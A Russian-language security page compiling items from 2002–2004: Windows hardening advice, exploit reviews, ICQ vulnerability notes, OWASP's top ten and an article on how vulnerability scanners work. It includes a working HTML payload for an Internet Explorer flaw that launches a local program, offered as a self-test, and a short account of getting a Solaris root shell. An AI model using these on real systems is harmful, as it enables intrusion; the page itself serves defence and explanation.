RSS

Компьютерная терминология    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

Вопросы безопасности

ноябрь 2003 года

Bажно для защиты от вторжения из Сети отключить неиспользуемые службы, особенно Сервер (Server), Телнет (Telnet), Службу терминалов (Terminal Services), Службу удалённого управления реестром (Remote Registry Service), Узел универсальных PnP-устройств (Universal Plug and Play Device Host), Службу обнаружения SSDP (SSDP Discovery Service), Службу сообщений (Messenger Service), Модуль поддержки NetBIOS через TCP/IP (TCP/IP NetBIOS Helper) - тем самым вы исключите возможность подключения к вашему ПК с их помощью.

Кроме того, в свойствах модемного соединения необходимо удалить все лишние протоколы, оставив только TCP/IP. В свойствах же самого TCP/IP (Properties - General - Advanced - WINS) установите переключатель «NetBIOS setting» в положение «Disable NetBIOS over TSP/IP».

Можно несколько усилить защиту и Internet Explorer, если в его настройках «Свойства обозревателя» - «Безопасность» («Internet Options» - «Security») сначала установить параметры для всех зон в положение по умолчанию («Default»), а затем для зоны Internet немного ужесточить правила - нажать кнопку «Custom Level» и, например, по всем параметрам, касающимся активного содержимого веб-страниц, установить переключатели в положение «Prompt». Это особенно важно, если используется встроенный файерволл Windows XP, или ваш файерволл не способен блокировать активное содержимое веб-страниц.

Почему надо блокировать активное содержимое веб-страниц

В Internet Explorer существует, и до последнего момента не была прикрыта уязвимость, определяемая антивирусами как Exploit.CodeBaseExec. Эта уязвимость позволяет запускать любые программы, расположенные на ПК пользователя, открывшего веб-страничку с нехитрым кодом. Чтобы проверить, подвержен ли ваш ПК такой атаке, создайте простейший html-файл с таким содержанием:

 

Бесплатная консультация специалиста

Loading…
 
<html>

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span><xml id="oExec">

<security>

<exploit>

<![CDATA[

<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/windows/notepad.exe"></object>

]]>

</exploit>

</security>

</xml>

</html>

Если спустя несколько секунд после его открытия в Internet Explorer сам собой запустится Блокнот, то ваш ПК уязвим. Антивирусы выявляют такой код и, возможно, не дадут ему запуститься. Если же вы хотите повысить уровень защиты самого IE от подобных атак, то в реестре установите такой параметр:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\0

"1004"=dword:00000001

После этого при попытке запуска потенциально опасного скрипта будет выдаваться запрос к пользователю.

Если же вы хотите обмениваться файлами в городской или «подъездной» LAN, то наиболее безопасным и простым в настройке будет отказ от инструментов Windows и переход на использование FTP-сервера. При этом вы не только запретите стандартный File Sharing, но и сможете без усилий определять полосу пропускания для каждого входящего соединения, дабы желающие скачать у вас новый фильм не перекрыли доступ в Сеть вам самому, полностью забив линию связи. Кроме того, FTP-серверы обычно позволяют создавать учётные записи пользователей, разрешать или запрещать анонимный доступ, устанавливать ограничения времени работы и числа потоков. Можно даже установить правило, согласно которому удаленный пользователь, чтобы получить возможность скачивания, обязан будет сначала загрузить некий объем файлов на ваш диск! Одним из самых популярных FTP-серверов считается Serv-U.

Теперь надо позаботиться о том, чтобы это не вышло нам боком. Первым делом проследите, чтобы в вашей системе не было зарегистрировано лишних пользователей. Для этого в диалоге «Управление компьютером» («Computer Management») на вкладке пользователей («Local Users and Groups» — «Users») нужно заблокировать учётную запись Гостя, если в ней нет необходимости, а стандартную «секретную» учётную запись типа SUPPORT_586975a0 вообще удалить. Последняя встроена в систему для того, чтобы вы могли получить удалённую помощь от службы технической поддержки, имеет административные привилегии, а потому является потенциально опасной. Вообще говоря, работать в Интернете и локальной сети безопаснее из-под учётной записи с ограниченными правами. Далее, ещё раз запустив оснастку «Локальная политика безопасности» («Local Security Settings», файл secpol.msc), откройте диалог «Параметры безопасности» — «Локальные политики» — «Назначение прав пользователя» («Security settings» — «Local Policies» — «User Rights Assignments») и обратите внимание на такие параметры, как «Access this computer from the network», «Allow logon through Terminal Services», «Deny access to this computer from the network», «Deny logon locally», «Deny logon through Terminal Services», «Log on locally» — разобраться, что они означают, совсем не сложно. В идеале необходимо проштудировать вообще все параметры оснасток secpol.msc и gpedit.msc — благодаря им можно существенно повысить устойчивость системы к внешним атакам. Например, для конкретного пользователя можно разрешить удалённый доступ к ресурсам ПК, одновременно запретив локальный вход, чтобы излишне любопытный коллега по работе не смог загрузить ваш ПК, пока вы пьёте кофе в столовой. Для этого измените значение параметра «Deny logon locally» таким образом, чтобы в списке локально заблокированных учётных записей оказался и выбранный пользователь (имя пользователя либо выбирайте из списка «Add User or Group» — «Advanced» — «Find», либо вводите в виде Имя компьютера \ Имя пользователя). В этом же меню можно проделать и обратную процедуру — запретить определённым пользователям доступ из сети — за это отвечает параметр «Deny access to this computer from the network».

Далее обратите внимание на то, что после каждой загрузки система автоматически открывает скрытый доступ к локальным дискам компьютера (С:, D:) для пользователей, входящих в группу Администраторов. Если необходимости в этих системных ресурсах нет (уточните у администратора сети, если таковой имеется), то вполне допускается запретить их создание, для чего нужно в разделе реестра HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters установить равным «0» параметр «AutoShareServer» (типа REG_DWORD) для сервера (то есть Windows 2000/2003 Server) или параметр «AutoShareWks» для рабочей станции (Windows XP). Эту операцию можно осуществить и с помощью редактора системных политик (System Policy Editor — POLEDIT.EXE) — за управление скрытыми ресурсами общего доступа отвечает параметр «Windows NT» — «Network» — «Sharing» — «Create Hidden Drive Shares». Правда, отключение этих ресурсов иногда вызывает проблемы (например, появляется сообщение об ошибке «The RPC Service is not available.»), поэтому в случае осложнений попробуйте вернуть всё на свои места.

Следующий этап — защита паролей учётных записей.Oбязательно выбирайте для своей учётной записи очень длинный пароль — более 14 знаков. Например, строку из любимого стихотворения, причем лучше вводить её кириллическими символами. Ни в коем случае это не должно быть одно слово — по словарю подобные пароли вскрываются за секунды. Если же вас интересуют подробности, то обязательно изучите статью о методах взлома и защиты Win2K/XP. И, наконец, просто блокируйте компьютер, когда теряете его из виду: либо нажмите клавиши Win+L — появится Welcome Screen, либо используйте такой ярлык:

%SystemRoot%\system32\rundll32.exe USER32.DLL,LockWorkStation

МАЙ 2004 г.   Обзор эксплойтов

Serv-U FTPD remote overflow exploit

Описание:

Любопытно, что уже третий месяц подряд выходят различные эксплойты для FTP-сервера «U FTPD». Это объясняется популярностью FTP’шника среди варезников-виндузятников в локальных сетях. Если прошлые эксплойты были направлены на команду CHMOD, то вышедшая новинка получает шелл с помощью неверно переданного параметра к MDTM. Эта команда отображает время создания файла. Баг заключается в том, что размер этого файла не может превышать 256 байт. Когда хакер передает слишком длинный аргумент, происходит переполнение буфера. В этом случае может быть два варианта. Либо осуществится корректная передача шеллкода (с последующим открытием порта), применимого для определенной OS, либо сервис просто уйдет в даун.

Защита:

Эксплойт вышел недавно, и перед ним не устоял даже SERV-U последней версии. Поэтому защищайся только файрволом... или временно откажись от Serv-U и жди новых релизов.

Злоключение:

Уязвимость представляет повышенную опасность. Учитывая, что добрая половина локальных юзеров не отрубают доступ anonymous’а к ресурсам, любой хакер может порулить компом зазевавшегося юзера. Поэтому, повторяюсь, только грамотно настроенный файрвол способен защитить тебя от злоумышленников.

IIS 5.0 + SSL remote DoS exploit

Нехитрую багу обнаружил чувак с ником bkbll (bkbll@cnhonker.com). Что касается самого сплойта, то он был написан кодером Sam (Sam@0x557.org).

IIS 5.0 + SSL remote DoS exploit

Описание:

Критическая уязвимость была найдена в модуле IIS 5.0, а точнее в библиотеке, обрабатывающей SSL-соединения. Если верить багтраку, то любой желающий может создать специально обработанное SSL-сообщение, которое заставит модуль прекратить обслуживание новых подключений. Не буду вдаваться в техническую часть баги, лишь скажу, что эксплойт под названием sslbomb.c за несколько секунд убивает SSL-модуль в IIS. Правда, на Win2003 прекращение работы SSL влечет за собой еще и дополнительный ребут.

Защита:

13 апреля Microsoft выпустила специальный патч, исправляющий 14 новых уязвимостей. В том числе и брешь в модуле SSL.

Ссылки:

Рабочий эксплойт выложен на многих порталах, в том числе и на Секлабе. Помимо данной SSL-баги, в протоколе найдены другие недоработки.

Злоключение:

Как ни странно, очень мало админов пропатчили свой IIS. Это доказывают множественные атаки на корпоративные серверы. После подобных нападений протокол SSL уходит в ступор и не возвращается до спасительной перезагрузки. Если ты админишь сервер под виндой, позаботься о здоровье своего IIS.

Solaris vfs_getvfssw() Local Root Exploit

Эту багу в первую очередь изучила команда s21sec. Эксплойтом занимались два кодера: Barroso Berrueta и Alfredo Andres Omella.

Описание:

Оригинальная уязвимость найдена во всех версиях системы Solaris. Выяснилось, что любой желающий может загрузить ядерный модуль без дополнительных привилегий. Суть баги заключается в некорректной проверке каталога с модулем. Последний может находиться где угодно, например, в /tmp. Вызвать уязвимую процедуру vfs_getvfssw() можно через функции mount() либо sysfs(). Что и реализовано в пакете rootme.tar. Он состоит из нескольких файлов: исполняемого интерпретатора, модуля и эксплойта rootme.c. Чтобы ненавязчиво порутать систему, нужно выполнить make, а затем запустить бинарник rootme. Произойдет несанкционированная загрузка модуля с последующим запуском рутового шелла.

Защита:

Сразу же после выхода эксплойта выпустили патч, закрывающий дырку. Установи его и забудь о проблеме навсегда.

Злоключение:

Новая брешь в ядре довольно серьезна, потому как охватывает полный диапазон версий Solaris. Позаботься о том, чтобы все твои солярки были пропатчены. В противном случае может произойти утечка важной информации с доверенных серверов ;).

Набор rootme.tar сделан уже упомянутым кодером Sam.

Часто ли тебе приходили недовольные сообщения от друзей, что твои послания до них не доходили? Мне - да, причем пару раз из-за этого я обломался на кое-что ценное, о чем еще иногда вспоминаю и жалею. Но не будем о грустном ;). Итак, в чем же дело? Если пользователя нету в твоем контакт-листе, то его сообщения автоматически фильтруются на наличие спама. А в спамлисте очень много слов, которые мы очень часто употребляем: http, ftp, sex (%)), asechka (достаточно оригинально было занести асечку в фильтр-список). Для примера, если мне не изменяет память, то фильтруются даже слова типа "$500". Т.е. допустим, я продаю uin'ы. Ко мне стучится клиент и пишет извне контакт-листа сообщение:

"privet. hochu kupit u tebya icq uin za $100. ti vrode na asechka.ru visish. a moi site, esli chto, http://mycoolsite.com, tam obo mne est otzivi.". Думаю, понятно, что такое сообщение я просто-напросто не получу и потеряю потенциального клиента. Надо с этим бороться, не так ли?

Итак, приступим.

1. Закрой ICQ.

2. Зайди в $ICQDIR/DATAFILES и открой файл antispam.xml. Видишь теперь, как много реально нужных слов фильтрует ICQ? Причем фильтрация идет полностью.

3. Удаляем файл antispam.xml (или просто делаем его пустым) и создаем новый. Присваиваем ему атрибут: read-only. Затем присваиваем такой же атрибут всей директории datafiles (ибо нех).

4. Запускаем ICQ и радуемся килобайтам нового спама .

16.01.2003   Десять самых распространенных и опасных уязвимостей в ПО для интернета

Некоммерческая организация Open Web Application Security Project(OWASP) представила список десяти наиболее опасных, но, в то же время, распространенных дыр в программном обеспечении для интернета и веб-сервисах. По мнению OWASP, на эти уязвимости стоит обратить самое пристальное внимание как государственным, так и коммерческим организациям, желающим обезопасить себя и своих клиентов от хакеров. Все указанные уязвимости достаточно широко распространены, а использовать их под силу даже малоквалифицированным хакерам, поскольку соответствующие средства взлома легко найти в Сети.

На первом месте списка OWASP находится уязвимость, связанная с отсутствием проверки параметров в http-запросах. В результате, используя особые параметры, хакер может получить доступ к ресурсам сервера через веб-приложение. На втором месте находится несоблюдение политик управления доступом к ресурсам. Это позволяет злоумышленнику использовать закрытые ресурсы или получать доступ к учетным записям других пользователей.

На третьей позиции рейтинга значится несоблюдение правил управления учетными записями и пользовательскими сессиями. Эта уязвимость связана, прежде всего, с отсутствием надежной защиты пользовательских данных (логина, пароля) и идентификаторов сессий, таких как файлы cookie. Это позволяет хакерам перехватывать данные других пользователей и пользоваться системой от их имени.

На четвертой позиции находятся уязвимости, связанные с ошибками в механизме Cross-Site Scripting (CSS или XSS), используемом для перенаправления пользователя на другие сайты. В этом случае атака может привести к получению хакером доступа к пользовательским данным или взлому локального компьютера.

Под пятым пунктом упоминаются ошибки переполнения буфера, имеющиеся во многих программных продуктах - от скриптов и драйверов до операционных систем и серверного ПО. Отсутствие проверки некоторых параметров может приводить к переполнению буфера, а хакер при этом захватывает управление компьютером. Сообщения об обнаружении ошибок переполнения появляются чрезвычайно часто.

На шестой позиции находятся дыры, связанные с отсутствием надлежащего контроля за параметрами, передаваемыми компьютерами при доступе к внешним ресурсам. Если хакер сумеет ввести в эти параметры свои команды, последствия могут быть самыми печальными. Далее специалисты OWASP отмечают уязвимости, связанные с неправильной реализацией обработки ошибок в программном обеспечении. В некоторых случаях при возникновении ошибок хакер может получить информацию о системе или даже доступ к ней.

На восьмой позиции находится неудачное использование криптографии. В OWASP отмечают, что часто инструменты для шифрования информации имеют собственные дыры, из-за чего применение сильной криптографии теряет всякий смысл. На девятом месте находятся уязвимости, связанные с отсутствием надлежащей защиты подсистем удаленного администрирования. И хотя наличие веб-интерфейса удобно, поскольку позволяет администратору управлять системой с любого подключенного к Сети компьютера, при отсутствии надежной защиты то же самое может делать и хакер. Хорошим тому примером является взлом сайта Американской ассоциации звукозаписывающих компаний (RIAA) в конце декабря прошлого года.

Наконец, на десятом месте среди уязвимостей OWASP помещает неправильное конфигурирование серверного ПО, многие настройки которого серьезно влияют на безопасности системы. С полным отчетом OWASP можно ознакомиться здесь.

cybervlad // 01.04.03  

Новый RFC кардинально решает проблему сетевых атак.

Все гениальное, как всегда, просто - в протоколе IP v 4 достаточно незадействованных битов в поле флагов, один из которых предлагается использовать для отделения хакерских пакетов от обычных.

06.05.2003

Шесть уязвимостей в Mirabilis ICQ

В Mirabilis ICQ обнаружено шесть уязвимостей. Уязвимости могут использоваться для DoS нападений против ICQ пользователей или для выполнения произвольного кода на целевой системе пользователя.

Уязвимость форматной строки в POP3 клиенте в поле UIDL.

Уязвимость форматной строки обнаружена в ICQ POP3 клиенте (POP3.dll) в команде UIDL. (RFC 1939). Злонамеренный POP3 сервер может вставить спецификации формата в сообщение UIDL ответа и выполнить произвольные команды на POP3 клиент с привилегиями текущего пользователя.

Целочисленное переполнение буфера в POP3 клиенте в поле "Subject"

Удаленный атакующий может послать поле "Subject", размером примерно 33 КБ, чтобы вызвать отрицательное значение параметра, что приведет к переполнению буфера в POP3 клиенте. В результате работа клиента аварийно завершится.

Целочисленное переполнение буфера в POP3 клиенте в поле "Date"

Удаленный атакующий может послать поле "Date", размером примерно 32 КБ, чтобы вызвать отрицательное значение параметра, что приведет к переполнению буфера в POP3 клиенте. В результате работа клиента аварийно завершится.

Спуфинг в “Features on Demand” (возможности по требованию)

URL, который используется для загрузки модулей в 'Features on Demand', жестко прописан в подкаталоге "\DataFiles" в ICQ директории. Нападение возможно из-за недостатка опознавательных методов, используемых при загрузке новых пакетов. Атакующий может имитировать 'package repository service', подделывая URL адрес и устанавливая другой источник для загрузки злонамеренного программного обеспечения на системе ICQ клиента.

DoS рекламными баннерами

URL, используемый для загрузки баннеров имеет следующий формат: "http://web.icq.com/client/ate/ad-handler/ad_468/0,,[RANDOM],00.htm" Где [RANDOM] – положительное целое 16 битное случайное число.

Библиотека для обработки URL уязвима к ошибочным атрибутам, указанным в тэге table. Определяя значение атрибута “width" равным ‘-1’, библиотека будет использовать 100% CPU, что приведет к нарушению работы ICQ и всей системы. Нападение возможно из-за недостатка опознавательных методов, используемых в запросах. Атакующий может имитировать "ADS server" , подделывая URL адрес и устанавливая другой источник для загрузки злонамеренных баннеров.

Уязвимость в проверке правильности ввода в ICQ GIF parsing/rendering библиотеке

При анализе GIF89a заголовка файла, ICQ GIF parsing/rendering библиотека ожидает одно из значений GCT (Global Color Table) или LCT (Local Color Table) после "Image Descriptor". Когда ни одна из этих таблиц цветов не существует, библиотека будет работать со сбоями.

Уязвимость обнаружена в Mirabilis ICQ Pro 2003a client .

23.10.02

Как работает сканер безопасности?

Введение

В последнее время увеличилось число публикаций (в основном, зарубежных), посвященных такому новому направлению в области защиты информации, как адаптивная безопасность сети. Это направление состоит из двух основных технологий - анализ защищенности (security assessment) и обнаружение атак (intrusion detection). Именно первой технологии и посвящена данная статья.

Сеть состоит из каналов связи, узлов, серверов, рабочих станций, прикладного и системного программного обеспечения, баз данных и т.д. Все эти компоненты нуждаются в оценке эффективности их защиты. Средства анализа защищенности исследуют сеть и ищут "слабые" места в ней, анализируют полученные результаты и на их основе создают различного рода отчеты. В некоторых системах вместо "ручного" вмешательства со стороны администратора найденная уязвимость будет устраняться автоматически (например, в системе System Scanner). Перечислим некоторые из проблем, идентифицируемых системами анализа защищенности:

Технология анализа защищенности является действенным методом реализации политики сетевой безопасности прежде, чем осуществится попытка ее нарушения снаружи или изнутри организации.

Очень часто пишут об уникальных возможностях систем анализа защищенности (сканерах), подводя читателей к убеждению, что эти системы являются панацеей от всех бед, и что они позволяют обнаруживать все вновь обнаруживаемые уязвимости. Но когда пользователи сталкиваются с ситуацией, которую можно описать заданным мне недавно вопросом: "Я вчера прочитал в Bugtraq про новую уязвимость в моей операционной системе. Почему сетевой сканер безопасности ее не обнаруживает?", то они начинают обвинять системы анализа защищенности во всех своих бедах. А ответ на заданный вопрос очень прост. В базе данных уязвимостей системы анализа защищенности этой уязвимости пока нет. Это один из аспектов, присущий всем системам анализа защищенности. Они предназначены для обнаружения только известных уязвимостей, описание которых есть у них в базе данных. В этом они подобны антивирусным системам, которым для эффективной работы необходимо постоянно обновлять базу данных сигнатур. Все эти вопросы привели к тому, что я решил поделиться практическим опытом работы с различными системами анализа защищенности и написать о том, как вообще работают сканеры безопасности, что они могут, а что нет. Помимо своего практического опыта, при написании данной статьи я использовал материалы компании Internet Security Systems, Inc., Cisco Systems и Network Associates.

Функционировать такие средства могут на сетевом уровне (network-based), уровне операционной системы (host-based) и уровне приложения (application-based). Наибольшее распространение получили средства анализа защищенности сетевых сервисов и протоколов. Связано это, в первую очередь, с универсальностью используемых протоколов. Изученность и повсеместное использование таких протоколов, как IP, TCP, HTTP, FTP, SMTP и т.п. позволяют с высокой степенью эффективности проверять защищенность информационной системы, работающей в данном сетевом окружении. Вторыми по распространенности являются средства анализа защищенности операционных систем (ОС). Связано это также с универсальностью и распространенностью некоторых операционных систем (например, UNIX и Windows NT). Однако из-за того, что каждый производитель вносит в операционную систему свои изменения (ярким примером является множество разновидностей ОС UNIX), средства анализа защищенности ОС анализируют в первую очередь параметры, характерные для всего семейства одной ОС. И лишь для некоторых систем анализируются специфичные для нее параметры. Средств анализа защищенности приложений на сегодняшний день не так много, как этого хотелось бы. Такие средства пока существуют только для широко распространенных прикладных систем, типа Web-броузеры (Netscape Navigator, Microsoft Internet Explorer), СУБД (Microsoft SQL Server, Sybase Adaptive Server) и т.п.

Помимо обнаружения уязвимостей, при помощи средств анализа защищенности можно быстро определить все узлы корпоративной сети, доступные в момент проведения тестирования, выявить все используемые в ней сервисы и протоколы, их настройки и возможности для несанкционированного воздействия (как изнутри корпоративной сети, так и снаружи). Также эти средства вырабатывают рекомендации и пошаговые меры, позволяющие устранить выявленные недостатки.

Поскольку наибольшее распространение получили средства, функционирующие на уровне сети (системы SATAN, Internet Scanner, CyberCop Scanner, NetSonar и т.д.), то основное внимание будет уделено именно им.

Механизмы работы

Существует два основных механизма, при помощи которых сканер проверяет наличие уязвимости - сканирование (scan) и зондирование (probe).

Сканирование - механизм пассивного анализа, с помощью которого сканер пытается определить наличие уязвимости без фактического подтверждения ее наличия - по косвенным признакам. Этот метод является наиболее быстрым и простым для реализации. В терминах компании ISS данный метод получил название "логический вывод" (inference). Согласно компании Cisco этот процесс идентифицирует открытые порты, найденные на каждом сетевом устройстве, и собирает связанные с портами заголовки (banner), найденные при сканировании каждого порта. Каждый полученный заголовок сравнивается с таблицей правил определения сетевых устройств, операционных систем и потенциальных уязвимостей. На основе проведенного сравнения делается вывод о наличии или отсутствии уязвимости.

Зондирование - механизм активного анализа, который позволяет убедиться, присутствует или нет на анализируемом узле уязвимость.Зондирование выполняется путем имитации атаки, использующей проверяемую уязвимость. Этот метод более медленный, чем "сканирование", но почти всегда гораздо более точный, чем он. В терминах компании ISS данный метод получил название "подтверждение" (verification). Согласно компании Cisco этот процесс использует информацию, полученную в процессе сканирования ("логического вывода"), для детального анализа каждого сетевого устройства. Этот процесс также использует известные методы реализации атак для того, чтобы полностью подтвердить предполагаемые уязвимости и обнаружить другие уязвимости, которые не могут быть обнаружены пассивными методами, например подверженность атакам типа "отказ в обслуживании" ("denial of service").

На практике указанные механизмы реализуются следующими несколькими методами.

"Проверка заголовков" (banner check)

Указанный механизм представляет собой ряд проверок типа "сканирование" и позволяет делать вывод об уязвимости, опираясь на информацию в заголовке ответа на запрос сканера. Типичный пример такой проверки - анализ заголовков программы Sendmail или FTP-сервера, позволяющий узнать их версию и на основе этой информации сделать вывод о наличии в них уязвимости.

Наиболее быстрый и простой для реализации метод проверки присутствия на сканируемом узле уязвимости. Однако за этой простотой скрывается немало проблем.

Эффективность проверок заголовков достаточно эфемерна. И вот почему. Во-первых, вы можете изменить текст заголовка, предусмотрительно удалив из него номер версии или иную информацию, на основании которой сканер строит свои заключения. И хотя такие случаи исключительно редки, пренебрегать ими не стоит. Особенно в том случае, если у вас работают специалисты в области безопасности, понимающие всю опасность заголовков "по умолчанию". Во-вторых, зачастую, версия, указываемая в заголовке ответа на запрос, не всегда говорит об уязвимости программного обеспечения. Особенно это касается программного обеспечения, распространяемого вместе с исходными текстами (например, в рамках проекта GNU). Вы можете самостоятельно устранить уязвимость путем модификации исходного текста, при этом забыв изменить номер версии в заголовке. И в-третьих, устранение уязвимости в одной версии еще не означает, что в следующих версиях эта уязвимость отсутствует.

Процесс, описанный выше, является первым и очень важным шагом при сканировании сети. Он не приводит к нарушению функционирования сервисов или узлов сети. Однако не стоит забывать, что администратор может изменить текст заголовков, возвращаемых на внешние запросы.

"Активные зондирующие проверки" (active probing check)

Также относятся к механизму "сканирования". Однако они основаны не на проверках версий программного обеспечения в заголовках, а на сравнении "цифрового слепка" (fingerprint) фрагмента программного обеспечения со слепком известной уязвимости. Аналогичным образом поступают антивирусные системы, сравнивая фрагменты сканируемого программного обеспечения с сигнатурами вирусов, хранящимися в специализированной базе данных. Разновидностью этого метода являются проверки контрольных сумм или даты сканируемого программного обеспечения, которые реализуются в сканерах, работающих на уровне операционной системы.

Специализированная база данных (в терминах компании Cisco - база данных по сетевой безопасности) содержит информацию об уязвимостях и способах их использовании (атаках). Эти данные дополняются сведениями о мерах их устранения, позволяющих снизить риск безопасности в случае их обнаружения. Зачастую эта база данных используется и системой анализа защищенности и системой обнаружения атак. По крайней мере, так поступают компании Cisco и ISS.

Этот метод также достаточно быстр, но реализуется труднее, чем "проверка заголовков".

"Имитация атак" (exploit check)

Перевода термина "exploit" в российских публикациях я нигде не встречал и эквивалента в русском языке также не нашел. Поэтому воспользуюсь переводом "имитация атак". Данные проверки относятся к механизму "зондирования" и основаны на эксплуатации различных дефектов в программном обеспечении.

Некоторые уязвимости не обнаруживают себя, пока вы не "подтолкнете" их. Для этого против подозрительного сервиса или узла запускаются реальные атаки. Проверки заголовков осуществляют первичный осмотр сети, а метод "exploit check", отвергая информацию в заголовках, позволяет имитировать реальные атаки, тем самым с большей эффективностью (но меньшей скоростью) обнаруживая уязвимости на сканируемых узлах. Имитация атак является более надежным способом анализа защищенности, чем проверки заголовков, и обычно более надежны, чем активные зондирующие проверки.

Однако существуют случаи, когда имитация атак не всегда может быть реализована. Такие случаи можно разделить на две категории: ситуации, в которых тест приводит к "отказу в обслуживании" анализируемого узла или сети, и ситуации, при которых уязвимость в принципе не годна для реализации атаки на сеть.

Как мы все знаем, многие проблемы защиты не могут быть выявлены без блокирования или нарушения функционирования сервиса или компьютера в процессе сканирования. В некоторых случаях нежелательно использовать имитацию атак (например, для анализа защищенности важных серверов), т.к. это может привести к большим затратам (материальным и временным) на восстановление работоспособности выведенных из строя элементов корпоративной сети. В этих случаях желательно применить другие проверки, например, активное зондирование или, в крайнем случае, проверки заголовков.

Однако, есть некоторые уязвимости (например, проверка подверженности атакам типа "Packet Storm"), которые просто не могут быть протестированы без возможного выведения из строя сервиса или компьютера. В этом случае разработчики поступают следующим образом, - по умолчанию такие проверки выключены и пользователь может сам включить их, если желает. Таким образом, например, реализованы системы CyberCop Scanner и Internet Scanner. В последней системе такого рода проверки выделены в отдельную категорию "Denial of service" ("Отказ в обслуживании"). При включении любой из проверок этой группы система Internet Scanner выдает сообщение "WARNING: These checks may crash or reboot scanned hosts" ("Внимание: эти проверки могут вывести из строя иди перезагрузить сканируемые узлы").

Этапы сканирования

Практически любой сканер проводит анализ защищенности в несколько этапов:

  1. Сбор информации о сети. На данном этапе идентифицируются все активные устройства в сети и определяются запущенные на них сервисы и демоны. В случае использования систем анализа защищенности на уровне операционной системы данный этап пропускается, поскольку на каждом анализируемом узле установлены соответствующие агенты системного сканера.
  2. Обнаружение потенциальных уязвимостей. Сканер использует описанную выше базу данных для сравнения собранных данных с известными уязвимостями при помощи проверки заголовков или активных зондирующих проверок. В некоторых системах все уязвимости ранжируются по степени риска. Например, в системе NetSonar уязвимости делятся на два класса: сетевые и локальные уязвимости. Сетевые уязвимости (например, воздействующие на маршрутизаторы) считаются более серьезными по сравнению с уязвимостями, характерными только для рабочих станций. Аналогичным образом "поступает" и Internet Scanner. Все уязвимости в нем делятся на три степени риска: высокая (High), средняя (Medium) и низкая (Low).
  3. Подтверждение выбранных уязвимостей. Сканер использует специальные методы и моделирует (имитирует) определенные атаки для подтверждения факта наличия уязвимостей на выбранных узлах сети.
  4. Генерация отчетов. На основе собранной информации система анализа защищенности создает отчеты, описывающие обнаруженные уязвимости. В некоторых системах (например, Internet Scanner и NetSonar) отчеты создаются для различных категорий пользователей, начиная от администраторов сети и заканчивая руководством компании. Если первых в первую очередь интересуют технические детали, то для руководства компании необходимо представить красиво оформленные с применением графиков и диаграмм отчеты с минимумом подробностей. Немаловажным аспектом является наличие рекомендаций по устранению обнаруженных проблем. И здесь по праву лидером является система Internet Scanner, которая для каждой уязвимости содержит пошаговые инструкции для устранения уязвимостей, специфичные для каждой операционной системы. Во многих случаях отчеты также содержат ссылки на FTP- или Web-сервера, содержащие patch'и и hotfix'ы, устраняющие обнаруженные уязвимости.
  5. Автоматическое устранение уязвимостей. Этот этап очень редко реализуется в сетевых сканерах, но широко применяется в системных сканерах (например, System Scanner). При этом данная возможность может реализовываться по-разному. Например, в System Scanner создается специальный сценарий (fix script), который администратор может запустить для устранения уязвимости. Одновременно с созданием этого сценария, создается и второй сценарий, отменяющий произведенные изменения. Это необходимо в том случае, если после устранения проблемы, нормальное функционирование узла было нарушено. В других системах возможности "отката" не существует.

В любом случае у администратора, осуществляющего поиск уязвимостей, есть несколько вариантов использования системы анализа защищенности:

Особенности применения

Если сканер не находит уязвимостей на тестируемом узле, то это еще не значит, что их нет. Просто сканер не нашел их. И зависит это не только от самого сканера, но и от его окружения. Например, если Вы тестируете сервис Telnet или FTP на удаленной машине, и сканер сообщает Вам, что уязвимостей не обнаружено - это может значить не только, что уязвимостей нет, а еще и то, что на сканируемом компьютере установлен, например, TCP Wrapper. Да мало ли еще чего? Вы можете пытаться получить доступ к компьютеру через межсетевой экран или попытки доступа блокируются соответствующими фильтрами у провайдера и т.д. Для ОС Windows NT характерен другой случай. Сканер пытается дистанционно проанализировать системный реестр (registry). Однако в случае запрета на анализируемом узле удаленного доступа к реестру, сканер никаких уязвимостей не обнаружит. Существуют и более сложные случаи. И вообще различные реализации одного итого же сервиса по-разному реагируют на системы анализа защищенности. Очень часто на практике можно увидеть, что сканер показывает уязвимости, которых на анализируемом узле нет. Это относится к сетевым сканерам, которые проводят дистанционный анализ узлов сети. И удаленно определить, существует ли в действительности уязвимость или нет, практически невозможно. В этом случае можно порекомендовать использовать систему анализа защищенности на уровне операционной системы, агенты которой устанавливаются на каждый контролируемый узел и проводят все проверки локально.

Для решения этой проблемы некоторые компании-производители пошли по пути предоставления своим пользователям нескольких систем анализа защищенности, работающих на всех указанных выше уровнях, - сетевом, системном и уровне приложений. Совокупность этих систем позволяет с высокой степенью эффективности обнаружить практически все известные уязвимости. Например, компания Internet Security Systems предлагает семейство SAFEsuite, состоящее из четырех сканеров: Internet Scanner, System Scanner, Security Manager и Database Scanner. В настоящий момент это единственная компания, которая предлагает системы анализа защищенности, функционирующие на всех трех уровнях информационной инфраструктуры. Другие компании предлагают или два (Axent) или, как правило, один (Network Associates, NetSonar и др.) сканер.

Компания Cisco, предлагающая только систему анализа защищенности на уровне сети пошла другим путем для устранения проблемы ложного срабатывания. Она делит все уязвимости на два класса:

Проверки на потенциальную уязвимость проводятся через коллекцию заголовков и использование "несильных подталкиваний". "Подталкивание" используется для сервисов, не возвращающих заголовки, но реагирующих на простые команды, например, посылка команды HEAD для получения версии HTTP-сервера. Как только эта информация получена, система NetSonar использует специальный механизм (rules engine), который реализует ряд правил, определяющих, существует ли потенциальная уязвимость.

Таким образом, администратор знает, какие из обнаруженных уязвимостей действительно присутствуют в системе, а какие требуют подтверждения.

Однако в данном случае остаются уязвимости, с трудом обнаруживаемые или совсем не обнаруживаемые через сеть. Например, проверка "слабости" паролей, используемых пользователями и другими учетными записями. В случае использования сетевого сканера вам потребуется затратить очень много времени на удаленную проверку каждой учетной записи. В то же время, аналогичная проверка, осуществляемая на локальном узле, проводится на несколько порядков быстрее. Другим примером может служить проверка файловой системы сканируемого узла. Во многих случаях ее нельзя осуществить дистанционно.

